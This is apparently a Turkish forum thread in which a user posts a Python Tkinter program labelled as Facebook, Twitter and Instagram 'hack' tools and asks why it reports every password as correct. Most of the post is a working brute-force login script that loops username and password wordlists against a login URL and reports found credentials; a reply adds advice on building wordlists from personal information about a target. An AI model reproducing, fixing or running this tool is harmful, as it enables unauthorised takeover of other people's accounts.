Pythonda bruteforce attack

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from tkinter import *
from tkMessageBox import *
import time
from itertools import product
import requests
import sys

def facebookhackcodes():
	
	expression = "incorrect"
	# The link of the website
	url = XUrl.get()
	# The userfield in the form of the login
	userfile = XUser.get()
	# The passwordfield in the form
	passwordfile = XPassword.get()
	# list of potential incorrect message in the page if it doesn't succeed
	incorrectMessage = ['error', 'required error']
	# list of potential success message in the page if it succeed
	successMessage = ['success', 'SUCCESS']
	# Getting list of potentials password
	passwords = open('' + passwordfile ).readlines()
	# Getting list of user to test with
	users = open( '' + userfile ).readlines()
	
	PenFacebookHackCodes = Toplevel(ana)
	PenFacebookHackCodes.transient(ana)
	PenFacebookHackCodes.focus()
	PenFacebookHackCodes.title(u"Facbook Hack Codes Programı")
	PenFacebookHackCodes.resizable(width=FALSE, height=FALSE)
	pgen = 1000
	pyuks = 650
	ekrangen = PenFacebookHackCodes.winfo_screenwidth()
	ekranyuks = PenFacebookHackCodes.winfo_screenheight()
	x = (ekrangen - pgen) / 2
	y = (ekranyuks - pyuks) / 2
	PenFacebookHackCodes.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))
	#-URL ADRES
	Label(PenFacebookHackCodes, text=u"Url Adresi : " + url).grid(row=1, sticky=W)
	#-USER FİLE ADRES
	Label(PenFacebookHackCodes, text=u"User Dosya Adı : " + userfile).grid(row=2, sticky=W)
	#-PASSWORD FİLE ADRES
	Label(PenFacebookHackCodes, text=u"Password Dosya Adı : " + passwordfile).grid(row=3, sticky=W)
	Label(PenFacebookHackCodes, text=u"---------------------------------------------------------------").grid(row=4, sticky=W)
	Label(PenFacebookHackCodes, text=u"Connection Url Adress : " + url ).grid(row=5, sticky=W)
	Label(PenFacebookHackCodes, text=u"---------------------------------------------------------------").grid(row=6, sticky=W)
	for user in users:
		for password in passwords:
			data = {'username':user,'password':password}
			r = requests.post(url,data=data)
			if expression not in r.content :
				Label(PenFacebookHackCodes, text=u"---------------------------------------------------------------").grid(row=7, sticky=W)	
				Label(PenFacebookHackCodes, text=u"FOUND Username:" + user + "FOUND Password : " + password).grid(row=8, sticky=W)
				Label(PenFacebookHackCodes, text=u"---------------------------------------------------------------").grid(row=9, sticky=W)
				showinfo("ŞİFRE BULUNDU", "FOUND Username : " + user + "FOUND Password : " + password)
				break
				break
			else:
				print r.content," ",password
					
def facebookhack():	
	PenFacebookHack = Toplevel(ana)
	PenFacebookHack.transient(ana)
	PenFacebookHack.focus()
	PenFacebookHack.title(u"Facebook Hack Programı")
	PenFacebookHack.resizable(width=FALSE, height=FALSE)
	pgen = 1000
	pyuks = 650
	ekrangen = PenFacebookHack.winfo_screenwidth()
	ekranyuks = PenFacebookHack.winfo_screenheight()
	x = (ekrangen - pgen) / 2
	y = (ekranyuks - pyuks) / 2
	PenFacebookHack.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))
	#-URL ADRES
	global XUrl
	XUrl = StringVar()
	Label(PenFacebookHack, text=u"Url Adresi Yazınız : ").grid(row=1, sticky=W)
	Url=Entry(PenFacebookHack,textvariable=XUrl).grid(row=1, column=1)
	#-USER FİLE ADRES
	global XUser
	XUser = StringVar()
	Label(PenFacebookHack, text=u"User Dosya ADresi Giriniz : ").grid(row=2, sticky=W)
	User=Entry(PenFacebookHack,textvariable=XUser).grid(row=2, column=1)
	#-PASSWORD FİLE ADRES
	global XPassword
	XPassword = StringVar()
	Label(PenFacebookHack, text=u"Password Dosya ADresi Giriniz : ").grid(row=3, sticky=W)
	Password=Entry(PenFacebookHack,textvariable=XPassword).grid(row=3, column=1)
	#BUTTON
	BtKaydet=Button(PenFacebookHack, text=u"Saldırıyı Başlat", command=facebookhackcodes).grid(row=4, column=1, sticky=NSEW, pady=3)
	BtKaydet=Button(PenFacebookHack, text=u"Saldırıyı İptal Et", command=ana.quit).grid(row=4, column=2, sticky=NSEW, pady=3)

def twitterhackcodes():
	
	expression = "incorrect"
	# The link of the website
	url = XUrl.get()
	# The userfield in the form of the login
	userfile = XUser.get()
	# The passwordfield in the form
	passwordfile = XPassword.get()
	# list of potential incorrect message in the page if it doesn't succeed
	incorrectMessage = ['error', 'required error']
	# list of potential success message in the page if it succeed
	successMessage = ['success', 'SUCCESS']
	# Getting list of potentials password
	passwords = open('' + passwordfile ).readlines()
	# Getting list of user to test with
	users = open( '' + userfile ).readlines()
	
	PenTwitterHackCodes = Toplevel(ana)
	PenTwitterHackCodes.transient(ana)
	PenTwitterHackCodes.focus()
	PenTwitterHackCodes.title(u"Twitter Hack Codes Programı")
	PenTwitterHackCodes.resizable(width=FALSE, height=FALSE)
	pgen = 1000
	pyuks = 650
	ekrangen = PenTwitterHackCodes.winfo_screenwidth()
	ekranyuks = PenTwitterHackCodes.winfo_screenheight()
	x = (ekrangen - pgen) / 2
	y = (ekranyuks - pyuks) / 2
	PenTwitterHackCodes.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))
	#-URL ADRES
	Label(PenTwitterHackCodes, text=u"Url Adresi : " + url).grid(row=1, sticky=W)
	#-USER FİLE ADRES
	Label(PenTwitterHackCodes, text=u"User Dosya Adı : " + userfile).grid(row=2, sticky=W)
	#-PASSWORD FİLE ADRES
	Label(PenTwitterHackCodes, text=u"Password Dosya Adı : " + passwordfile).grid(row=3, sticky=W)
	Label(PenTwitterHackCodes, text=u"---------------------------------------------------------------").grid(row=4, sticky=W)
	Label(PenTwitterHackCodes, text=u"Connection Url Adress : " + url ).grid(row=5, sticky=W)
	Label(PenTwitterHackCodes, text=u"---------------------------------------------------------------").grid(row=6, sticky=W)
	for user in users:
		for password in passwords:
			data = {'username':user,'password':password}
			r = requests.post(url,data=data)
			if expression not in r.content :
				Label(PenTwitterHackCodes, text=u"---------------------------------------------------------------").grid(row=7, sticky=W)	
				Label(PenTwitterHackCodes, text=u"FOUND Username:" + user + "FOUND Password : " + password).grid(row=8, sticky=W)
				Label(PenTwitterHackCodes, text=u"---------------------------------------------------------------").grid(row=9, sticky=W)
				showinfo("ŞİFRE BULUNDU", "FOUND Username : " + user + "FOUND Password : " + password)
				break
				break
			else:
				print r.content," ",password
					
def twitterhack():	
	PenTwitterrHack = Toplevel(ana)
	PenTwitterrHack.transient(ana)
	PenTwitterrHack.focus()
	PenTwitterrHack.title(u"Twitter Hack Programı")
	PenTwitterrHack.resizable(width=FALSE, height=FALSE)
	pgen = 1000
	pyuks = 650
	ekrangen = PenTwitterrHack.winfo_screenwidth()
	ekranyuks = PenTwitterrHack.winfo_screenheight()
	x = (ekrangen - pgen) / 2
	y = (ekranyuks - pyuks) / 2
	PenTwitterrHack.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))
	#-URL ADRES
	global XUrl
	XUrl = StringVar()
	Label(PenTwitterrHack, text=u"Url Adresi Yazınız : ").grid(row=1, sticky=W)
	Url=Entry(PenTwitterrHack,textvariable=XUrl).grid(row=1, column=1)
	#-USER FİLE ADRES
	global XUser
	XUser = StringVar()
	Label(PenTwitterrHack, text=u"User Dosya ADresi Giriniz : ").grid(row=2, sticky=W)
	User=Entry(PenTwitterrHack,textvariable=XUser).grid(row=2, column=1)
	#-PASSWORD FİLE ADRES
	global XPassword
	XPassword = StringVar()
	Label(PenTwitterrHack, text=u"Password Dosya ADresi Giriniz : ").grid(row=3, sticky=W)
	Password=Entry(PenTwitterrHack,textvariable=XPassword).grid(row=3, column=1)
	#BUTTON
	BtKaydet=Button(PenTwitterrHack, text=u"Saldırıyı Başlat", command=twitterhackcodes).grid(row=4, column=1, sticky=NSEW, pady=3)
	BtKaydet=Button(PenTwitterrHack, text=u"Saldırıyı İptal Et", command=ana.quit).grid(row=4, column=2, sticky=NSEW, pady=3)


def instagramhackcodes():
	
	expression = "incorrect"
	# The link of the website
	url = XUrl.get()
	# The userfield in the form of the login
	userfile = XUser.get()
	# The passwordfield in the form
	passwordfile = XPassword.get()
	# list of potential incorrect message in the page if it doesn't succeed
	incorrectMessage = ['error', 'required error']
	# list of potential success message in the page if it succeed
	successMessage = ['success', 'SUCCESS']
	# Getting list of potentials password
	passwords = open('' + passwordfile ).readlines()
	# Getting list of user to test with
	users = open( '' + userfile ).readlines()
	
	PenInstagramHackCodes = Toplevel(ana)
	PenInstagramHackCodes.transient(ana)
	PenInstagramHackCodes.focus()
	PenInstagramHackCodes.title(u"İnstagram Hack Codes Programı")
	PenInstagramHackCodes.resizable(width=FALSE, height=FALSE)
	pgen = 1000
	pyuks = 650
	ekrangen = PenInstagramHackCodes.winfo_screenwidth()
	ekranyuks = PenInstagramHackCodes.winfo_screenheight()
	x = (ekrangen - pgen) / 2
	y = (ekranyuks - pyuks) / 2
	PenInstagramHackCodes.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))
	#-URL ADRES
	Label(PenInstagramHackCodes, text=u"Url Adresi : " + url).grid(row=1, sticky=W)
	#-USER FİLE ADRES
	Label(PenInstagramHackCodes, text=u"User Dosya Adı : " + userfile).grid(row=2, sticky=W)
	#-PASSWORD FİLE ADRES
	Label(PenInstagramHackCodes, text=u"Password Dosya Adı : " + passwordfile).grid(row=3, sticky=W)
	Label(PenInstagramHackCodes, text=u"---------------------------------------------------------------").grid(row=4, sticky=W)
	Label(PenInstagramHackCodes, text=u"Connection Url Adress : " + url ).grid(row=5, sticky=W)
	Label(PenInstagramHackCodes, text=u"---------------------------------------------------------------").grid(row=6, sticky=W)
	for user in users:
		for password in passwords:
			data = {'username':user,'password':password}
			r = requests.post(url,data=data)
			if expression not in r.content :
				Label(PenInstagramHackCodes, text=u"---------------------------------------------------------------").grid(row=7, sticky=W)	
				Label(PenInstagramHackCodes, text=u"FOUND Username:" + user + "FOUND Password : " + password).grid(row=8, sticky=W)
				Label(PenInstagramHackCodes, text=u"---------------------------------------------------------------").grid(row=9, sticky=W)
				showinfo("ŞİFRE BULUNDU", "FOUND Username : " + user + "FOUND Password : " + password)
				break
				break
			else:
				print r.content," ",password
					
def instagramhack():	
	PenInstagramHack = Toplevel(ana)
	PenInstagramHack.transient(ana)
	PenInstagramHack.focus()
	PenInstagramHack.title(u"İnstagram Hack Programı")
	PenInstagramHack.resizable(width=FALSE, height=FALSE)
	pgen = 1000
	pyuks = 650
	ekrangen = PenInstagramHack.winfo_screenwidth()
	ekranyuks = PenInstagramHack.winfo_screenheight()
	x = (ekrangen - pgen) / 2
	y = (ekranyuks - pyuks) / 2
	PenInstagramHack.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))
	#-URL ADRES
	global XUrl
	XUrl = StringVar()
	Label(PenInstagramHack, text=u"Url Adresi Yazınız : ").grid(row=1, sticky=W)
	Url=Entry(PenInstagramHack,textvariable=XUrl).grid(row=1, column=1)
	#-USER FİLE ADRES
	global XUser
	XUser = StringVar()
	Label(PenInstagramHack, text=u"User Dosya ADresi Giriniz : ").grid(row=2, sticky=W)
	User=Entry(PenInstagramHack,textvariable=XUser).grid(row=2, column=1)
	#-PASSWORD FİLE ADRES
	global XPassword
	XPassword = StringVar()
	Label(PenInstagramHack, text=u"Password Dosya ADresi Giriniz : ").grid(row=3, sticky=W)
	Password=Entry(PenInstagramHack,textvariable=XPassword).grid(row=3, column=1)
	#BUTTON
	BtKaydet=Button(PenInstagramHack, text=u"Saldırıyı Başlat", command=instagramhackcodes).grid(row=4, column=1, sticky=NSEW, pady=3)
	BtKaydet=Button(PenInstagramHack, text=u"Saldırıyı İptal Et", command=ana.quit).grid(row=4, column=2, sticky=NSEW, pady=3)

ana = Tk()

baslik = ana.title("Beyaz Şapkalı Hacker Programı")

pgen = 1000
pyuks = 650
ekrangen = ana.winfo_screenwidth()
ekranyuks = ana.winfo_screenheight()
x = (ekrangen - pgen) / 2
y = (ekranyuks - pyuks) / 2
ana.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))

menubar=Menu(ana)
dosya=Menu(menubar)
menubar.add_cascade(label="Hack Programları",menu=dosya)
dosya.add_command(label="Port Tarama Programı")
dosya.add_command(label="Wifi Hack Programı")
dosya.add_command(label="Facebook Hack Programı",command=facebookhack)
dosya.add_command(label="Tiwiter Hack Programı",command=twitterhack)
dosya.add_command(label="İnstagram Hack Programı",command=instagramhack)
dosya.add_command(label="Çıkış",command=ana.quit)

ana.config(menu=menubar)
ana.mainloop()

nasıl bir hata var çözemedim şifresi olmayanıda doğru gösteriyor olanıda

Bunun la kimse uğraşmaz da neden bunu kullanmaya çalışıyosun ki milyartane brute-force porgramı varken ?

kusura bakmayın ama benim amacım grafiksel bir hack programı yapmaktı ve bunu başarmamada az kaldı

Grafik arayüzlü olmasının bi gereği yok şahsi görüşüm.bu seni yavaşlatır.hadi oldu yaptın diyelim.Brute-force yapması o kadar kolay bişey değil.en basitinden çoğu modem ler bile 5 denemeden sonra bilmem kaç saatlik ban atıyo.tüm bunları bi kenara bırakıp herşey oldu hazır program çalışıyo falan filan.wordlist ??? wordlist hazırlamak bilgi toplamak netten bulduğun wordlistler bi işe yaramaz.kişi üstünden wordlist hazırlayacaksın.falan filan inter milan.

Bruteforce eskidi bu kadar uğraştığına deymez

Eskidiğinden kastın nedir ?